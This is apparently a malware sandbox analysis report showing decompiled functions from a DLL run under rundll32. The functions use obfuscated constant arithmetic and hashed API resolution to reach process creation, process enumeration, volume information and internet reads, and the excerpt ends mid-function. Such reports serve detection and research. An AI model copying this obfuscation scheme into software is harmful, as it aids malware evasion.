				E10022523(_t31);
				_v20 = 0xa80c31;
				_v20 = _v20 * 0x6c;
				_v20 = _v20 ^ 0x46e6f799;
				_v16 = 0x35d7e6;
				_v16 = _v16 << 0xd;
				_v16 = _v16 ^ 0xbafefac0;
				_v12 = 0x55f9ae;
				_v12 = _v12 + 0xffffbfa6;
				_v12 = _v12 | 0xf8d2795e;
				_v12 = _v12 ^ 0xf8daa7f9;
				_v8 = 0xe46cfe;
				_v8 = _v8 ^ 0xeb94df75;
				_v8 = _v8 | 0xf69b0666;
				_v8 = _v8 ^ 0xfffa92dc;
				E10002309(0x148, __ecx, __ecx, 0x2237d547, __ecx, 0x9c9047d0);
				_t39 = FindCloseChangeNotification(_a4); // executed
				return _t39;
			}

APIs

FindCloseChangeNotification.KERNEL32(F8DAA7F9), ref: 1001A601

Memory Dump Source

Source File: 00000005.00000002.252944713.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.252927331.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.252999854.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction ID: 916d80f1436c55e495bde87e87ea32654bf5eec04e964754689aa7ec780072d2
Opcode Fuzzy Hash: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction Fuzzy Hash: 1F11F3B5C1030DFBCB18DFE8D8869AEBBB4EF44304F108698A855A6261D3B56B158F91

Uniqueness

Uniqueness Score: -1.00%

Function 100117CB, Relevance: 1.3, APIs: 1, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E100117CB(WCHAR* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t44;
				int _t55;
				signed int _t57;
				WCHAR* _t62;

				_push(_a8);
				_t62 = __ecx;
				_push(_a4);
				_push(__ecx);
				E10022523(_t44);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x2c5dd9;
				_v28 = 0x29a411;
				_v16 = 0xb6013c;
				_v16 = _v16 >> 2;
				_v16 = _v16 << 5;
				_v16 = _v16 ^ 0x05bceb0d;
				_v12 = 0xa7496a;
				_t57 = 7;
				_v12 = _v12 * 0x55;
				_v12 = _v12 | 0x1a205192;
				_v12 = _v12 ^ 0x3fab9f8f;
				_v8 = 0xf5055a;
				_v8 = _v8 / _t57;
				_v8 = _v8 + 0xa16;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 ^ 0x1132ba81;
				_v20 = 0xaea409;
				_v20 = _v20 << 6;
				_v20 = _v20 ^ 0x2ba3ef66;
				E10002309(0xb8, _t57, _t57, 0xbf157248, _t57, 0x9c9047d0);
				_t55 = lstrcmpiW(_t62, _a8); // executed
				return _t55;
			}

APIs

lstrcmpiW.KERNEL32(?,05BCEB0D,?,?,?,?,?,?,?,?,00000000), ref: 1001188D

Memory Dump Source

Source File: 00000005.00000002.252944713.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.252927331.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.252999854.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction ID: 1774797ce17004cd69ed458787da8d3b2b53829bebfee28bf73c73f1d8c62a15
Opcode Fuzzy Hash: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction Fuzzy Hash: 652127B5D0020CFFDB04DFA4D94A9EEBBB4EB44304F108189E425B7240E3B56B049F91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 6424 Parent PID: 6360 rundll32.exeCOMMON

Executed Functions

Function 100231D2, Relevance: 1.6, APIs: 1, Instructions: 77
processCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E100231D2(void* __ecx, WCHAR* __edx, intOrPtr _a8, intOrPtr _a12, WCHAR* _a16, struct _STARTUPINFOW* _a28, intOrPtr _a32, intOrPtr _a36, struct _PROCESS_INFORMATION* _a48, int _a52, intOrPtr _a56) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t54;
				int _t63;
				signed int _t65;
				WCHAR* _t71;

				_push(_a56);
				_t71 = __edx;
				_push(_a52);
				_push(_a48);
				_push(0);
				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(0);
				_push(0);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(0);
				_push(__edx);
				E10022523(_t54);
				_v28 = 0x2cec17;
				_v24 = 0;
				_v16 = 0x5aadab;
				_v16 = _v16 << 3;
				_v16 = _v16 >> 0xc;
				_v16 = _v16 ^ 0x000031a8;
				_v12 = 0x82119f;
				_v12 = _v12 >> 2;
				_v12 = _v12 + 0xffff09c3;
				_t65 = 0x25;
				_v12 = _v12 / _t65;
				_v12 = _v12 ^ 0x0004d7f2;
				_v8 = 0x7cd8a6;
				_v8 = _v8 >> 6;
				_v8 = _v8 | 0x702a8e48;
				_v8 = _v8 + 0xffff37f0;
				_v8 = _v8 ^ 0x702d019b;
				_v20 = 0x367fb2;
				_v20 = _v20 + 0xffff7ba2;
				_v20 = _v20 ^ 0x003ae9c9;
				E10002309(0x2e4, _t65, _t65, 0xbf8568a3, _t65, 0x9c9047d0);
				_t63 = CreateProcessW(_t71, _a16, 0, 0, _a52, 0, 0, 0, _a28, _a48); // executed
				return _t63;
			}

APIs

CreateProcessW.KERNELBASE(000C0354,?,00000000,00000000,?,00000000,00000000,00000000,229292B4,?), ref: 100232BB

Memory Dump Source

Source File: 00000006.00000002.256966709.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.256951320.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.257004834.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction ID: db286c9e9bcad3bd2e87b522c53d89c9dfc5ed19f2ace101bae5327955dfaec9
Opcode Fuzzy Hash: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction Fuzzy Hash: 21311476801248BBCF65DF96CD49CDFBFB5FB89704F108188F914A6220D3B58A60DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10004248, Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10004248() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t52;
				signed int _t53;

				_v24 = _v24 & 0x00000000;
				_v32 = 0xac8d12;
				_v28 = 0x59a528;
				_v12 = 0xae5295;
				_v12 = _v12 << 2;
				_t52 = 0xb;
				_v12 = _v12 / _t52;
				_v12 = _v12 ^ 0x0038a8c1;
				_v20 = 0xfd2184;
				_v20 = _v20 ^ 0xb7361747;
				_v20 = _v20 ^ 0xb7cc531f;
				_v8 = 0xac9b8;
				_t53 = 9;
				_v8 = _v8 / _t53;
				_v8 = _v8 << 0xd;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 ^ 0x00077309;
				_v16 = 0x4164cf;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x010bebe7;
				E10002309(0x37f, _t53, _t53, 0x8b1a77d6, _t53, 0x9c9047d0);
				ExitProcess(0);
			}

APIs

ExitProcess.KERNEL32(00000000), ref: 100042F1

Memory Dump Source

Source File: 00000006.00000002.256966709.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.256951320.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.257004834.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction ID: dec05fa3737df580d58ff145636bc0451a72c06ba1d5dcadd23311741e886f9d
Opcode Fuzzy Hash: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction Fuzzy Hash: B91128B5E00208EBDB44DFE5D94AADEBBF1FB44308F208089E515A7240D7B45B18CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 100117CB, Relevance: 1.3, APIs: 1, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E100117CB(WCHAR* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t44;
				int _t55;
				signed int _t57;
				WCHAR* _t62;

				_push(_a8);
				_t62 = __ecx;
				_push(_a4);
				_push(__ecx);
				E10022523(_t44);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x2c5dd9;
				_v28 = 0x29a411;
				_v16 = 0xb6013c;
				_v16 = _v16 >> 2;
				_v16 = _v16 << 5;
				_v16 = _v16 ^ 0x05bceb0d;
				_v12 = 0xa7496a;
				_t57 = 7;
				_v12 = _v12 * 0x55;
				_v12 = _v12 | 0x1a205192;
				_v12 = _v12 ^ 0x3fab9f8f;
				_v8 = 0xf5055a;
				_v8 = _v8 / _t57;
				_v8 = _v8 + 0xa16;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 ^ 0x1132ba81;
				_v20 = 0xaea409;
				_v20 = _v20 << 6;
				_v20 = _v20 ^ 0x2ba3ef66;
				E10002309(0xb8, _t57, _t57, 0xbf157248, _t57, 0x9c9047d0);
				_t55 = lstrcmpiW(_t62, _a8); // executed
				return _t55;
			}

APIs

lstrcmpiW.KERNELBASE(?,05BCEB0D,?,?,?,?,?,?,?,?,00000000), ref: 1001188D

Memory Dump Source

Source File: 00000006.00000002.256966709.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.256951320.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.257004834.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction ID: 1774797ce17004cd69ed458787da8d3b2b53829bebfee28bf73c73f1d8c62a15
Opcode Fuzzy Hash: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction Fuzzy Hash: 652127B5D0020CFFDB04DFA4D94A9EEBBB4EB44304F108189E425B7240E3B56B049F91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 6436 Parent PID: 6424 rundll32.exeCOMMON

Executed Functions

Function 10011A80, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
fileCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E10011A80(void* __ecx, struct _WIN32_FIND_DATAW* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, WCHAR* _a16) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t44;
				void* _t55;
				signed int _t57;
				struct _WIN32_FIND_DATAW* _t63;

				_push(_a16);
				_t63 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E10022523(_t44);
				_v36 = 0x40784c;
				asm("stosd");
				asm("stosd");
				_t57 = 0x66;
				asm("stosd");
				_v8 = 0xc58147;
				_v8 = _v8 / _t57;
				_v8 = _v8 >> 6;
				_v8 = _v8 + 0xffff0e61;
				_v8 = _v8 ^ 0xffff2899;
				_v16 = 0x3eee0f;
				_v16 = _v16 ^ 0xf4098113;
				_v16 = _v16 * 0x76;
				_v16 = _v16 ^ 0x918df00d;
				_v12 = 0x61adbd;
				_v12 = _v12 | 0x1ce5c3f2;
				_v12 = _v12 ^ 0x5ce6c57a;
				_v12 = _v12 ^ 0x400dc737;
				_v20 = 0x919b51;
				_v20 = _v20 + 0x9c69;
				_v20 = _v20 ^ 0x00927a19;
				E10002309(0x352, _t57, _t57, 0x810611c3, _t57, 0x9c9047d0);
				_t55 = FindFirstFileW(_a16, _t63); // executed
				return _t55;
			}

0x10011a88
0x10011a8b
0x10011a8d
0x10011a90
0x10011a93
0x10011a96
0x10011a98
0x10011a9d
0x10011aac
0x10011ab1
0x10011ab2
0x10011ab9
0x10011aba
0x10011acb
0x10011ace
0x10011ad2
0x10011ad9
0x10011ae0
0x10011ae7
0x10011af9
0x10011afc
0x10011b03
0x10011b0a
0x10011b11
0x10011b18
0x10011b1f
0x10011b26
0x10011b2d
0x10011b40
0x10011b4c
0x10011b53

APIs

FindFirstFileW.KERNEL32(1000CC4B,?,?,?,?,?,?,?,?,?,?,09AB8BF6,00000072), ref: 10011B4C

Strings

Lx@, xrefs: 10011A9D

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FileFindFirst
String ID: Lx@
API String ID: 1974802433-402333656
Opcode ID: 36fdb602463615d85640dee2202416375b56d64be84a9f72e6469216861f4ee0
Instruction ID: 4c909c8dcac535ec2e4d3c8be887b4ad64c8f6e64b414c256e7081c5313808d4
Opcode Fuzzy Hash: 36fdb602463615d85640dee2202416375b56d64be84a9f72e6469216861f4ee0
Instruction Fuzzy Hash: B1212575D01219FBEB18CFA5DC4A9DEBFB5FB44300F008199E811A6260D3B59B54DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 10021027, Relevance: 1.6, APIs: 1, Instructions: 57
filenetworkCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E10021027(void* __ecx, void* __edx, intOrPtr _a4, void* _a8, long _a12, intOrPtr _a16, intOrPtr _a20, DWORD* _a24) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t46;
				int _t55;
				signed int _t57;
				void* _t62;

				_push(_a24);
				_t62 = __ecx;
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E10022523(_t46);
				_v12 = 0xd4e775;
				_v12 = _v12 ^ 0x9fa1d679;
				_v12 = _v12 + 0xffffd43b;
				_v12 = _v12 >> 0xf;
				_v12 = _v12 ^ 0x000b9d33;
				_v20 = 0xb1fd06;
				_v20 = _v20 + 0xffff1766;
				_v20 = _v20 ^ 0x00bd550d;
				_v16 = 0x2d7499;
				_v16 = _v16 << 0x10;
				_v16 = _v16 ^ 0x749af706;
				_v8 = 0x5dfa4b;
				_t57 = 0x11;
				_v8 = _v8 / _t57;
				_v8 = _v8 >> 0x10;
				_v8 = _v8 | 0xef9b7d02;
				_v8 = _v8 ^ 0xef9457ed;
				E10002309(0x254, _t57, _t57, 0xf677e454, _t57, 0xc0cf1a4);
				_t55 = InternetReadFile(_t62, _a8, _a12, _a24); // executed
				return _t55;
			}

0x1002102e
0x10021031
0x10021033
0x10021036
0x10021039
0x1002103c
0x1002103f
0x10021043
0x10021044
0x10021049
0x10021053
0x1002105c
0x10021063
0x10021067
0x1002106e
0x10021075
0x1002107c
0x10021083
0x1002108a
0x1002108e
0x10021095
0x100210a1
0x100210a9
0x100210ac
0x100210b0
0x100210b7
0x100210d7
0x100210e9
0x100210ef

APIs

InternetReadFile.WININET(?,749AF706,00BD550D,?), ref: 100210E9

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 2d4f4d84a63d0f13ac273aada7b35ede13ebed0102486743890e3910fc006acb
Instruction ID: 23d0799d30c03751676f61c09586855f1f5435a61959109e3edcdfa144fe7809
Opcode Fuzzy Hash: 2d4f4d84a63d0f13ac273aada7b35ede13ebed0102486743890e3910fc006acb
Instruction Fuzzy Hash: 8A2113B6D00209FBDF06DFE4C94A8EEBBB1EF44300F508189F92566251E3B55B61EB91

Uniqueness

Uniqueness Score: -1.00%

Function 10011B54, Relevance: 1.5, APIs: 1, Instructions: 47
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10011B54(int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t51;
				signed int _t52;

				_v24 = _v24 & 0x00000000;
				_v36 = 0x604094;
				_v32 = 0x94e455;
				_v28 = 0xad6ab3;
				_v8 = 0x1f2344;
				_v8 = _v8 >> 0xc;
				_v8 = _v8 << 0xe;
				_t52 = 0x3c;
				_v8 = _v8 * 0x16;
				_v8 = _v8 ^ 0x0ab2d5aa;
				_v20 = 0xb8d8f1;
				_v20 = _v20 ^ 0x9bb5e2ea;
				_v20 = _v20 ^ 0x9b0a37ea;
				_v16 = 0x527695;
				_v16 = _v16 << 1;
				_v16 = _v16 / _t52;
				_v16 = _v16 ^ 0x000d80fe;
				_v12 = 0xedaf67;
				_v12 = _v12 ^ 0xb485e6d8;
				_v12 = _v12 + 0xffff9be0;
				_v12 = _v12 ^ 0xb46ea43d;
				E10002309(0x190, _t52, _t52, 0xbde7009f, _t52, 0x9c9047d0);
				_t51 = CreateToolhelp32Snapshot(_a4, 0); // executed
				return _t51;
			}

0x10011b5a
0x10011b60
0x10011b67
0x10011b6e
0x10011b75
0x10011b7c
0x10011b80
0x10011b8a
0x10011b91
0x10011b94
0x10011b9b
0x10011ba2
0x10011ba9
0x10011bb0
0x10011bb7
0x10011bc4
0x10011bc7
0x10011bce
0x10011bd5
0x10011bdc
0x10011be3
0x10011bfd
0x10011c0a
0x10011c0f

APIs

CreateToolhelp32Snapshot.KERNEL32(B46EA43D,00000000), ref: 10011C0A

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: 8dbd4dee2a96a2a279b30488413906bed3e520bcc45b322a8894c97035d3b5c6
Instruction ID: 9081da046f3271a085e2fa5fb81bd71d4906930810acfb0f456372ca571504a1
Opcode Fuzzy Hash: 8dbd4dee2a96a2a279b30488413906bed3e520bcc45b322a8894c97035d3b5c6
Instruction Fuzzy Hash: 8B11F3B1D0520CEBDB18DFA8C94A6AEBBB0FF44304F108199E521B72A0D7B56B04DF50

Uniqueness

Uniqueness Score: -1.00%

Function 100054DA, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57
networkCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100054DA(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, void* _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t52;
				int _t63;
				signed int _t65;
				signed int _t66;

				_push(_a12);
				_push(_a8);
				_push(_a4);
				E10022523(_t52);
				_v24 = _v24 & 0x00000000;
				_v28 = 0x6eade3;
				_v20 = 0x70ee4c;
				_v20 = _v20 + 0xffffd19f;
				_v20 = _v20 ^ 0x007528c6;
				_v16 = 0x80bb49;
				_v16 = _v16 + 0xffff2cb2;
				_v16 = _v16 >> 4;
				_t65 = 0x3d;
				_v16 = _v16 / _t65;
				_v16 = _v16 ^ 0x000cd3d3;
				_v12 = 0x49bca9;
				_v12 = _v12 + 0x284b;
				_v12 = _v12 + 0x352d;
				_v12 = _v12 ^ 0x5aa1db04;
				_v12 = _v12 ^ 0x5aee1bd2;
				_v8 = 0xbb5f19;
				_v8 = _v8 << 9;
				_v8 = _v8 | 0x616a7bee;
				_t39 =  &_v8; // 0x616a7bee
				_t66 = 0x5f;
				_v8 =  *_t39 / _t66;
				_v8 = _v8 ^ 0x01468cd5;
				E10002309(_t66 + 0x22, _t66, _t66, 0x1d483158, _t66, 0xc0cf1a4);
				_t63 = InternetCloseHandle(_a12); // executed
				return _t63;
			}

0x100054e0
0x100054e3
0x100054e6
0x100054eb
0x100054f0
0x100054f7
0x10005500
0x10005507
0x1000550e
0x10005515
0x1000551c
0x10005523
0x1000552c
0x10005531
0x10005536
0x1000553d
0x10005544
0x1000554b
0x10005552
0x10005559
0x10005560
0x10005567
0x1000556b
0x10005572
0x10005575
0x1000557d
0x10005580
0x1000559e
0x100055a9
0x100055ae

APIs

InternetCloseHandle.WININET(007528C6), ref: 100055A9

Strings

{ja, xrefs: 10005572
-5, xrefs: 1000554B
Lp, xrefs: 10005500

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CloseHandleInternet
String ID: -5$Lp${ja
API String ID: 1081599783-1222928185
Opcode ID: 96c25ca98efac3a213f8ce2c5c378593396d62ac674d19cb573e17f5676fb90f
Instruction ID: e6c55e4df9d10131ec682d11da997c923e435672ca5001c5aadfd6cedd8f9d11
Opcode Fuzzy Hash: 96c25ca98efac3a213f8ce2c5c378593396d62ac674d19cb573e17f5676fb90f
Instruction Fuzzy Hash: 4B2104B6D0120DFBEF04CFE5C94AAAEBBB1FB10314F108199E420A6251E3B95B14CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1001F606, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E1001F606(void* __ecx, void* __edx, struct tagPROCESSENTRY32W* _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _t43;
				void* _t50;
				void* _t54;

				_push(_a8);
				_t54 = __edx;
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t43);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v32 = 0xf33a94;
				_v8 = 0x16e1c5;
				_v8 = _v8 << 0x10;
				_v8 = _v8 + 0xffff7501;
				_v8 = _v8 * 0x3d;
				_v8 = _v8 ^ 0xcbc2f299;
				_v20 = 0x18380a;
				_v20 = _v20 + 0x556a;
				_v20 = _v20 ^ 0x2e444359;
				_v20 = _v20 ^ 0x2e5734c8;
				_v16 = 0x1de0f;
				_v16 = _v16 + 0xffff3d0f;
				_v16 = _v16 ^ 0x5b4c4104;
				_v16 = _v16 ^ 0x5b45396c;
				_v12 = 0x8d2c67;
				_v12 = _v12 | 0x6bb36e73;
				_v12 = _v12 ^ 0x44de99d4;
				_v12 = _v12 ^ 0x2f6e43e4;
				_t50 = E10002309(0x343, __ecx, __ecx, 0x1a63a552, __ecx, 0x9c9047d0);
				Process32FirstW(_t54, _a4); // executed
				return _t50;
			}

0x1001f60d
0x1001f610
0x1001f612
0x1001f615
0x1001f616
0x1001f617
0x1001f61c
0x1001f623
0x1001f627
0x1001f62e
0x1001f635
0x1001f639
0x1001f650
0x1001f653
0x1001f65a
0x1001f661
0x1001f668
0x1001f66f
0x1001f676
0x1001f67d
0x1001f684
0x1001f68b
0x1001f692
0x1001f699
0x1001f6a0
0x1001f6a7
0x1001f6c0
0x1001f6cc
0x1001f6d2

APIs

Process32FirstW.KERNEL32(00000000,2F6E43E4,?,?,?,?,?,?,?,?,00000000), ref: 1001F6CC

Strings

Cn/, xrefs: 1001F6A7
YCD., xrefs: 1001F668
l9E[, xrefs: 1001F68B

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FirstProcess32
String ID: YCD.$l9E[$Cn/
API String ID: 2623510744-4191728293
Opcode ID: ba6908419aca7e40de5752100cf2159fdf1c013576c21fa5a45c6b552e88f8aa
Instruction ID: e259f347f79b612dfbf7f188fd4e3a77e73ae6d79840be04f149529e315639f7
Opcode Fuzzy Hash: ba6908419aca7e40de5752100cf2159fdf1c013576c21fa5a45c6b552e88f8aa
Instruction Fuzzy Hash: 802133BAC01219EBCF08CFE4E98A9AEBBB4FF10715F108689E415B6211D3745B10DF91

Uniqueness

Uniqueness Score: -1.00%

Function 1001A809, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E1001A809(DWORD* __ecx, void* __edx, intOrPtr _a12, WCHAR* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a40, intOrPtr _a44) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				WCHAR* _v24;
				WCHAR* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t45;
				int _t55;
				DWORD* _t60;

				_t60 = __ecx;
				_push(0);
				_push(0);
				_push(_a44);
				_push(_a40);
				_push(0);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(0);
				_push(0);
				_push(__ecx);
				E10022523(_t45);
				_v36 = 0x72e62c;
				_v32 = 0x6afee3;
				_v28 = 0;
				_v24 = 0;
				_v12 = 0x241442;
				_v12 = _v12 ^ 0x5f0a7563;
				_v12 = _v12 * 0x4b;
				_v12 = _v12 + 0xffff00d5;
				_v12 = _v12 ^ 0xe298fffa;
				_v20 = 0x629ccf;
				_v20 = _v20 + 0xa262;
				_v20 = _v20 ^ 0x006504c5;
				_v8 = 0x8dfd52;
				_v8 = _v8 * 0x5f;
				_v8 = _v8 >> 0xe;
				_v8 = _v8 << 0xd;
				_v8 = _v8 ^ 0x1a5bea6c;
				_v16 = 0x13a484;
				_v16 = _v16 * 0x42;
				_v16 = _v16 ^ 0x051e7b21;
				E10002309(0x1c8, __ecx, __ecx, 0xfc0d3d9c, __ecx, 0x9c9047d0);
				_t55 = GetVolumeInformationW(_a16, 0, 0, _t60, 0, 0, 0, 0); // executed
				return _t55;
			}

0x1001a813
0x1001a815
0x1001a816
0x1001a817
0x1001a81a
0x1001a81d
0x1001a81e
0x1001a81f
0x1001a822
0x1001a825
0x1001a828
0x1001a82b
0x1001a82e
0x1001a82f
0x1001a831
0x1001a832
0x1001a837
0x1001a841
0x1001a848
0x1001a84b
0x1001a84e
0x1001a855
0x1001a86c
0x1001a86f
0x1001a876
0x1001a87d
0x1001a884
0x1001a88b
0x1001a892
0x1001a8a3
0x1001a8a6
0x1001a8aa
0x1001a8ae
0x1001a8b5
0x1001a8c0
0x1001a8c3
0x1001a8d6
0x1001a8e8
0x1001a8ef

APIs

GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 1001A8E8

Strings

,r, xrefs: 1001A837
cu_, xrefs: 1001A855

Memory Dump Source

Source File: 00000007.00000002.774033898.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.774022946.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.774061724.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: InformationVolume
String ID: ,r$cu_
API String ID: 2039140958-355032270
Opcode ID: 11f0a768391377fe69868ce35b1527178b61e9fcd2d284546a7f3ae16540a2da
Instruction ID: 2d9077e8843d46ea74a564eef62e93d3853f66a41997d5942974fc7a547dbb6c
Opcode Fuzzy Hash: 11f0a768391377fe69868ce35b1527178b61e9fcd2d284546a7f3ae16540a2da
Instruction Fuzzy Hash: 7F21E0B1801249BBCF14CFA6DD49CDFBFB9EB86704F108199F910A2220D3B59A15DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000A2F6, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68
networkCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E1000A2F6(void* __ecx, long _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, WCHAR* _a20, void* _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t56;
				int _t68;
				signed int _t70;
				signed int _t71;
				void* _t77;

				_push(_a32);
				_t77 = __ecx;
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0xffffffff);
				_push(__ecx);
				E10022523(_t56);
				_v16 = 0x717921;
				_t10 =  &_v16; // 0x717921
				_t70 = 0x16;
				_v16 =  *_t10 * 0x3d;
				_t12 =  &_v16; // 0x717921
				_v16 =  *_t12 / _t70;
				_v16 = _v16 | 0x0b896588;
